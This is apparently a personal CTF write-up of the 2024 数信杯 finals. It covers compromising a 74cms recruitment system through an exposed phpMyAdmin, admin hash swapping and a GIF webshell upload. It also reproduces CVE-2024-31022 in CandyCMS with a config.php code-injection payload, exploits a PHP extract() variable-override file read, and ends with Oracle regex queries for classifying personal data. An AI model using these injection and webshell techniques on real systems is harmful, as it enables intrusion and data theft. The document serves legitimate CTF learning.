目录

  1. 1. 前言
  2. 2. 攻防部分(渗透&应急)
    1. 2.1. 数安评估
      1. 2.1.1. flag1
      2. 2.1.2. flag2
  3. 3. 数据安全(CTF)
    1. 3.1. easycms(复现)
    2. 3.2. Holdon
  4. 4. 数据治理(Oracle运维)

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

2024数信杯决赛

2024/11/7 线下赛
  |     |   总文章阅读量:

前言

想去打 hackergame 了(


攻防部分(渗透&应急)

数安评估

flag1

请选手通过数据安全评估手段分析人事招聘系统,接管因未授权所造成的功能或接口隐患,并将其企业会员拉美科技有限公司手机号作为答案提交。
【答案标准】例:若获取的手机号为13812345678,则最终答案为:13812345678。

http://192.168.94.110/ 骑士cms

访问 ?s=a ,发现开了debug模式

dirsearch 扫出 phpMyAdmin,未授权直接进去了

在 qs_admin 拿到 admin 账密:admin:114145e496608de636a182ca7710a015:nZ7MsM

在 qs_admin_identity_token 拿到 token:1391e419f5b3873b93ba8f2e9cf9d12e

在 qs_admin_log 拿到 flag1

image-20241107093851891

在 qs_config 中得到部分配置

mysql/qishicms/qs_config/		http://192.168.94.110/phpMyAdmin/index.php?route=/sql&pos=0&db=qishicms&table=qs_config

   正在显示第 0 - 24(199, 查询花费 0.0003 秒。)


SELECT * FROM `qs_config`


id	name	is_frontend	value	note	is_secret	
1	sitename	1	骑士人才系统	网站名称	0	
2	sitedomain	1	http://192.168.94.110/	域名	0	
3	sitedir	1	/	目录	0	
4	contact_tel	1	000-0000000	网站联系电话	0	
5	fileupload_type	0		文件上传方式	0	
6	fileupload_size	1	5120	文件上传最大限制(kb)	0	
7	fileupload_ext	1	bmp,png,gif,jpeg,jpg,pdf,doc,docx,xls,xlsx,zip,7z,...	文件上传后缀	0	
8	contact_email	0	xxx@xxx.xxx	网站联系邮箱	0	
9	contact_address	1	000000000大厦00楼	联系地址	0	
10	bottom_other	1	Copyright © 2021 74cms.com All Right Reserved Powe...	其他说明	0	
11	icp	1	icp000000000	备案号	0	
12	isclose	1	0	暂时关闭网站	0	
13	close_reason	1		关闭网站原因	0	
14	statistics	1		第三方统计代码	0	
15	logo	1		网站logo	0	
16	closereg	1	0	关闭会员注册	0	
17	reg_prefix	0	user_	注册生成用户名前缀	0	
18	agreement	0	请完善注册协议	注册协议	0	
19	privacy	0	请完善隐私政策	隐私政策	0	
20	map_lng	1	112.565573	地图经度	0	
21	map_lat	1	37.869472	地图纬度	0	
22	map_zoom	1	13	地图缩放级别	0	
23	map_ak	1		百度地图ak	0	
24	map_server_ak	0		百度地图服务端ak	0	
25	points_byname	1	积分	积分代替名	0	

flag2

请选手通过数据安全评估手段分析人事招聘系统,获取该系统的shell权限,并将系统用户uid为1000的用户名作为答案提交。
【答案标准】例:若系统uid为1000的用户名为admin,则最终答案为admin。

查询一下

mysql/		http://192.168.94.110/phpMyAdmin/index.php?route=/server/sql
您的 SQL 语句已成功运行。

show global variables like '%secure%';



require_secure_transport	OFF	
secure_auth	ON	
secure_file_priv	/var/lib/mysql-files/
mysql/		http://192.168.94.110/phpMyAdmin/index.php?route=/server/sql
您的 SQL 语句已成功运行。

show variables like "%plugin%";



default_authentication_plugin	mysql_native_password	
plugin_dir	/usr/lib64/mysql/plugin/	
replication_optimize_for_static_plugin_config	OFF	

测试发现 admin 登录接口传入的password会直接md5加密一次

image-20241107093254631

但是直接传入无法登录,应该不是一次md5加密,测试发现也不是两次md5

采用移动端登录,抓包发现请求头这里多了个 admintoken,

qs_member 表中得到 13758293461:87c37a4a0c9a7485e90dee10f2aacd93:sfuqvq

把加密后的 password 和 pwd_hash 都替换到 qs_admin,然后就能以 123456 为密码进后台了

image-20241107110135356

后台进去之后更新缓存,然后就能上传php文件了

但是测试发现上传的文件好像存在二次渲染和内容检测

最后是在前台的头像上传处传 gif 马才成功拿shell的

执行cat /etc/passwd拿到flag2


数据安全(CTF)

easycms(复现)

CVE-2024-31022

账密爆破得到admin:admin

审计源码,注意到这里有文件读取可以目录穿越:

cms-admin/ajax/templatecf.php

if (isset($_POST['template'])) {
	CustomFields::templateFields($_POST['template']);	
public static function templateFields($template) {

    $theme = CandyDB::col('SELECT option_value FROM '.DB_PREFIX.'options WHERE option_key = :key', array('key' => 'theme'));

    $file = THEME_PATH.$theme.'/templates/'.$template.'.php';
    
    $contents = file_get_contents($file);

后缀写死php

注意到这里有个uploader.php

<?

// todo: Make this a little more secure! 

require_once '../core/config.php';

// files storage folder
$dir = '../uploads/';

$_FILES['file']['type'] = strtolower($_FILES['file']['type']);
 
if ($_FILES['file']['type'] == 'image/png' 
|| $_FILES['file']['type'] == 'image/jpg' 
|| $_FILES['file']['type'] == 'image/gif' 
|| $_FILES['file']['type'] == 'image/jpeg'
|| $_FILES['file']['type'] == 'image/pjpeg')
{	
    // setting file's mysterious name
    $file = md5(date('YmdHis')).'.jpg';
 
    // copying
    copy($_FILES['file']['tmp_name'], $dir.$file);
 
    // displaying file
    $array = array('filelink' => URL_PATH.'uploads/'.$file);
	
    echo stripslashes(json_encode($array));   
}
//
//{
//    "error": "Hi! It's error message"
//}

能文件上传,但是后缀写死了为jpg

image-20241107150718582

Plugins 里面能开启那个一片空白的插件,对应源码里的blog,但是没啥用

写的 text 可以 xss ,但是没啥用

install.php 只要指定 install 参数就可以无限重装,观察写入的 sql 语句,尝试在 email 处闭合括号进行注入,失败


http://www.nsfocus.net/vulndb/97525

https://web.archive.org/web/20240424094723/https://www.xuxblog.top/2024/03/25/CandyCMS-Pre-Auth-RCE/

原来直接闭合往 config.php 写shell就行了!

漏洞点就在 install.php 这里

<div id="container">
    <? if (isset($_GET['install'])) : ?>

        <h1>Installer</h1>

        <?

        $currentmodal = substr(sprintf('%o', fileperms('./core')), -4);

if ($currentmodal != "0755" && $currentmodal != "0777") {

    $result = @chmod($path."core", 0755);

    if (!$result) {

        diehard("Sorry, we couldn't modify the directory permissions of /core.");

    }

}

$dir = trim($_SERVER['PHP_SELF'], 'install.php');

$dbhost = $_POST['dbhost'];
$dbusername = $_POST['dbusername'];
$dbpassword = $_POST['dbpassword'];
$dbname = $_POST['dbname'];
$dbprefix = $_POST['dbprefix'];

$config = "<?\n\n";
$config .= "/**\n";
$config .= "* @package CMS\n";
$config .= "* @version 0.1\n";
$config .= "* @copyright Copyright 2012 (C) Cocoon Design Ltd. - All Rights Reserved\n";
$config .= "*\n";
$config .= "* Config for CMS - Will be generated by installer\n";
$config .= "*/\n\n";

$config .= "# This is set to MySQL by default but can be changed to your DB of choice\n";
$config .= "define('DB_DRIVER', 'mysql');\n\n";

$config .= "define('DB_HOST', '$dbhost');\n";
$config .= "define('DB_USERNAME', '$dbusername');\n";
$config .= "define('DB_PASSWORD', '$dbpassword');\n";
$config .= "define('DB_NAME', '$dbname');\n";
$config .= "define('DB_PREFIX', '$dbprefix');\n\n";

$config .= "define('SALT', '873hjcbdi1kammcvjnj0u3jn');\n\n";

$config .= "# Define where CMS is installed WITH trailing slash\n";
$config .= "define('CMS_PATH', \$_SERVER['DOCUMENT_ROOT'].'$dir');\n\n";

$config .= "define('URL_PATH', '$dir');\n";

$config .= "define('THEME_PATH', CMS_PATH.'themes/');\n";

$config .= "define('THEME_URL', URL_PATH.'themes/');\n";

$config .= "define('PLUGIN_PATH', CMS_PATH.'plugins/');\n";

$config .= "define('PLUGIN_URL', URL_PATH.'plugins/');";


$fp = @fopen('core/config.php', 'w');

if (!$fp) {
    diehard("Sorry, we couldn't write to core/config.php.");
} else {

    fwrite($fp, $config);
    fclose($fp);

}

这里会写文件到 core/config.php,文件的内容是 $config 参数拼接的,这个参数是我们可控的,那么直接闭合注入我们的php代码即可

选择在 $dbprefix 这里进行代码注入

cms_');phpinfo();//

image-20241108231218248

此时的 core/config.php

image-20241108231421423

就写入我们的php代码了

因为后面有文件包含所以安装完就会直接执行我们的代码

image-20241108231503478


Holdon

www.zip 源码泄露

可以知道flag就在web根目录下,文件名为 flllllllllllllllllllllllllllllll4lllllllllll4g.php

那么需要找一个能够文件读取的地方

观察controller

<?php 

class BaseController
{

	private $viewPath;
	public function loadView($viewName ='', $viewData = [])
	{
		$this->viewPath = BASE_PATH . "/View/{$viewName}.php";
		if(file_exists($this->viewPath))
		{
			extract($viewData);
			include $this->viewPath;
		}
	}
	
}
<?php 


class UserController extends BaseController
{
	public function actionList()
	{
		$params = $_REQUEST;
		$userModel = new UserModel();
		$listData = $userModel->getPageList($params);
		$this->loadView('userList', $listData );
	}
    public function actionIndex()
    {
        $listData = $_REQUEST;
        $this->loadView('userIndex',$listData);
    }

}

这里用 extract 接收参数给变量赋值,存在变量覆盖

而 /View/userIndex.php 这里

<?php
    if(!isset($img_file)) {
        $img_file = '/../favicon.ico';
    }

$img_dir = dirname(__FILE__) . $img_file;
$img_base64 = imgToBase64($img_dir);
echo '<img src="' . $img_base64 . '">';       //图片形式展示
?>

那么我们只需要覆盖 img_file 路径就能任意读文件了

image-20241107140953602


数据治理(Oracle运维)

dump下来sql文件到本地测试,删去开头的数据库信息和TABLESPACE "T_TABLESPACE",注释掉所有DROP即可导入

猜测评测的匹配语句,编写我们的正则表达式,注意 oracle 好像用不了unicode

SELECT * FROM "个人基本概况信息"
WHERE 
 REGEXP_LIKE("IDNumber", '((?<=[^\d])|^)((1[1-5])|(2[1-3])|(3[1-7])|(4[1-6])|(5[0-4])|(6[1-5])|(71)|(8[1-2]))\d{4}(19|20)\d{2}((0[1-9])|10|11|12)(([0-2][1-9])|10|20|30|31)\d{3}[0-9Xx]((?=[^\d])|$)')
AND REGEXP_LIKE("IDDate",'((?:19|20)\d\d)-(0[1-9]|1[012])-(0[1-9]|[12][0-9]|3[01])')
AND REGEXP_LIKE("Gender",'男|女')
AND REGEXP_LIKE("Name",'^[一-龥]{2,5}$')
AND REGEXP_LIKE("Marital",'单身|已婚|离异');

SELECT * FROM "个人联系信息"
WHERE 
 REGEXP_LIKE("MOBILE",'^1[3-9]\d{9}$')
AND REGEXP_LIKE("TELEPHONE",'^\d{3,4}-\d{7,8}$')
AND REGEXP_LIKE("EMAIL",'^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$');

SELECT * FROM "个人地理位置信息"
WHERE 
 REGEXP_LIKE("Country",'^[一-龥]{2}$')
AND REGEXP_LIKE("City",'^[一-龥]{2,4}$');

SELECT * FROM "个人职业信息"
WHERE 
 REGEXP_LIKE("Employer", '^\w{0,5}[一-龥]{0,4}$')
AND REGEXP_LIKE("DATE",'((?:19|20)\d\d)[- /.](0[1-9]|1[012])[- /.](0[1-9]|[12][0-9]|3[01])')
AND REGEXP_LIKE("PTitle",'^\w{0,2}[一-龥]{0,6}$');

SELECT * FROM "传统鉴别信息"
WHERE 
 REGEXP_LIKE("CVN", '^\d{1,3}$')
AND REGEXP_LIKE("EXP",'((?:19|20)\d\d)(0[1-9]|1[012])(0[1-9]|[12][0-9]|3[01])')
AND REGEXP_LIKE("Code",'^\d{4,6}$');

SELECT * FROM "金额信息"
WHERE 
 REGEXP_LIKE("CTACCOUNT", '^\d{7,9}$')
AND REGEXP_LIKE("CTBALANCE",'^\d{4,6}$')
AND REGEXP_LIKE("CTCURRENCY",'^[一-龥]{2,4}$');

SELECT * FROM "合同基本信息"
WHERE 
 REGEXP_LIKE("CONTRACTNO", '^SA-\d{5}-\d{4}$')
AND REGEXP_LIKE("CTDATE",'^\d{4}-\d{1,2}-\d{1,2}$')
AND REGEXP_LIKE("CONTRACTAMOUNT",'^\d{7,9}$')
AND REGEXP_LIKE("CURRENCY",'^[一-龥]{2,4}$');

SELECT * FROM "保单基本信息"
WHERE 
 REGEXP_LIKE("PolicyNo", '^AA-\d{4}-\d{10}$')
AND REGEXP_LIKE("Insurer",'^[一-龥]{2,4}$')
AND REGEXP_LIKE("Beneficiary",'^[一-龥]{2,4}$');

SELECT * FROM "特殊风险标的信息"
WHERE 
 REGEXP_LIKE("Equipment", '^LMN')
AND REGEXP_LIKE("Driver",'^\d{17,19}$');

SELECT * FROM "交易基本信息"
WHERE 
 REGEXP_LIKE("TDate", '((?:19|20)\d\d)(0[1-9]|1[012])(0[1-9]|[12][0-9]|3[01])')
AND REGEXP_LIKE("EFFDATE",'((?:19|20)\d\d)(0[1-9]|1[012])(0[1-9]|[12][0-9]|3[01])');
-- AND REGEXP_LIKE("Place",'') 这个不知道为什么全是乱码

SELECT * FROM "交易对手信息"
WHERE 
 REGEXP_LIKE("CUSTOMERNAME", '^[一-龥]{2,4}$')
AND REGEXP_LIKE("CUSTOMERBANK",'^[一-龥]{4,8}$')
AND REGEXP_LIKE("ACCOUNT",'^\d{16,20}$');

但是最后也才砍了160分。。